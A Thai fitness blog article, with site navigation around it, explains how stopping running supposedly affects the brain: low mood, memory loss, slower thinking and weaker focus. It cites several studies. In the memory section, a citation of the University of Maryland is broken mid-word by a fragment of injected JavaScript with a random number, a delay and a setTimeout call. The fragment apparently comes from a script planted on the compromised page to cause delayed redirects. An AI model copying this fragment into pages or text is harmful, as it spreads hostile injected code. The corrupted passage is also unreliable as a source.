• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Healthy Tips

Don’t stop running: จะเกิดอะไรขึ้นกับสมองเมื่อเรา หยุดวิ่ง

kan by kan
4 July 2018
in Healthy Tips, Running Tips, Tips & Technics
0
หยุดวิ่ง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ไม่แปลกถ้าเพียงแค่ หยุดวิ่ง 2-3 สัปดาห์ ร่างกายคุณจะเริ่มรู้สึกเฉื่อยชา ความฟิตตกลง เบื่อและอารมณ์เสียง่าย ทั้งนี้เพราะการวิ่งจะเป็นยากระตุ้นเซลล์ประสาทสมองขนานดี แต่เมื่อเราหยุดวิ่ง นั้นคือยาขาด ประสิทธิภาพสมองก็ตกลงตามไปด้วย ฉะนั้นเมื่อเป็นนักวิ่งก็อย่าหยุดวิ่ง ถ้าไม่กลัวและชอบที่จะหาข้ออ้างหยุดซ้อม ลองมาดูกันสิว่าจะเกิดอะไรขึ้นกับสมองเราบ้าง เมื่อเราหยุดวิ่ง…

จะเกิดอะไรขึ้นกับสมองเมื่อเรา หยุดวิ่ง

  1. ซึมเศร้า

การวิ่งหรือการออกกำลังกายแบบไหนก็ตามที่เป็นการออกกำลังกายแบบคาร์ดิโอ จะทำให้ร่างกายผลิตฮอร์โมนความสุขที่เรียกว่าเอนโดฟินส์และสารประกอบอื่นๆ เช่น โดพามีน เซราโทนิน และนอร์อิพิเนฟริน ช่วยต่อต้านอาการซึมเศร้า แต่เมื่อเราหยุดวิ่งไปสักพัก ร่างกายก็ไม่ได้ผลิตเพิ่มเติมให้ร่างกาย จึงเป็นสาเหตุว่าทำไม่เวลาหยุดวิ่งไปนานๆ อารมณ์เราจึงเบื่อและเศร้าซึมง่าย

  1. หน่วยความจำแย่ลง

จากการวิจัยของ University of Marylandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and พบว่า สมองของนักกีฬาวัยสูงอายุ ถ้ามีการหยุดออกกำลังกาย 10 วัน การไหลเวียนโลหิตไปเลี้ยงสมอง โดยเฉพาะส่วนฮิปโปแคมปัส อันมีหน้าที่ทำงานเกี่ยวกับความทรงจำและการเรียนรู้ ลดลงอย่างมีนัยสำคัญ น้อยกว่าช่วงออกกำลังกาย และประกอบการวิจัยอีกชิ้นหนึ่งซึ่งรายงานว่า สมองส่วนฮิปโปแคมปัสที่ขาดการไหลเวียนของโลหิตที่ดี จะมีผลต่อความทรงจำที่แย่ลง

เพิ่มเติมอีกสักนิดกับงานวิจัยอีกชิ้นหนึ่งที่พบว่า เมื่อเราจบการวิ่ง ร่างกายจะผลิตโปรตีนที่มีชื่อว่า คาเธปซินบี (cathepsin B) มีผลต่อการพัฒนาช่วยเพิ่มความทรงจำ หากเราหยุดออกกกำลังกาย เจ้าคาเธปซินบีก็จะถุกผลิตน้อยลงไปด้วย นี้ก้อาจจะเป็นสาเหตุที่เราขี้หลงขี้ลืมได้ง่ายเมื่อหยุดออกกำลังกาย

  1. สมองแรมต่ำ ประมวลผลช้า

จากงานวิจัยของประเทศฟินแลนด์ ที่นำแฝด 10 คู่ มาวิจัยยาวถึง 3 ปี โดยจับแยกคนหนึ่งให้ออกกำลังกายอย่างเป็นประจำและอีกคนหนึ่งไม่ค่อยได้ออกกำลังกาย (ออกกำลังกายน้อยกว่า 2 ครั้งต่อสัปดาห์) พบว่าคนที่ออกกำลังกายเป็นประจำจะมีพื้นที่เนื้อสีเทา หรือที่เรียกว่า Gray Matter มากขึ้นกว่าคู่แฝดที่ไม่ค่อยออกกำลังกาย (สมองเนื้อสีเทา มีหน้าที่ควบคุมการทำงานของกล้ามเนื้อ และการให้ความรู้สึก ทั้งประ สาทสัมผัส ความนึกคิด ความจำ การเห็น การพูด การได้ยิน : ศาสตราจารย์เกียรติคุณ แพทย์หญิง พวงทอง ไกรพิบูลย์ ) ดังนั้นการที่ร่างกายเราหยุดการออกกำลังกาย เจ้าเนื้อสีเทาก็จะไม่ได้รับการเพิ่มจำนวนขึ้นและลดจำนวนลง เป็นสาเหตุให้สมองเราทำงานช้าลง คิดอ่านและวิเคราะห์แย่ลง

  1. สมาธิแย่ลง ไม่โฟกัส

ผลงานวิจัยจาก British Medical Journal ได้ค้นพบว่าการออกกำลังกายสั้นๆ 10-40นาทีก็สามารถช่วยสร้างเสริมสมาธิ เพิ่มพลังในการโฟกัสได้ดีอย่างน่าอัศจรรย์ เหตุเป็นเพราะสมองได้รับการหล่อเลี้ยงจากโลหิต อันประกอบไปด้วยสสารอาหาร พลังงานและฮอร์โมนต่างๆ อย่างเช่น เอนโดฟินส์ โดพามีน เซราโทนิน และนอร์อิพิเนฟริน ที่ได้กล่าวมาข้างต้น ทำให้สมองเรามีการตื่นตัวมากขึ้น

เมื่อขาดโลหิตมาเลี้ยงสมองหรือมีมาน้อยลง สมองนักวิ่งก็อยู่ในสภาวะซึม ไม่ตื่นตัว ขาดสารเคมีและพลังงานในการกระตุ้น ผลที่ได้คือเราขาดความสามารถในการทำสมาธิหรือโฟกัสกับสิ่งใดสิ่งหนึ่งได้ลดลง

การวิ่งเป็นกีฬาที่ให้พรความสุขกับนักวิ่งทุกคน เป็น Lifelong sport เมื่อวิ่งแล้วก็จะต้องวิ่งไปตลอดชีวิต แต่ถ้าเราหยุดวิ่งลง ความพรสุขก็จะกลายโดนคำสาปโดยทันที แต่เชื่อได้ว่านักวิ่งผู้หลงรักการวิ่งไม่มีทางที่จะหยุดการวิ่งไปได้หรอกครับ พักนานแค่ไหนก็สามารถกลับมาได้เสมอ ยังคงชื่นชอบกิจกรรมทรมานบันเทิงไม่เสื่อมคลาย

อ้างอิง hwww.runnersworld.com

 

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.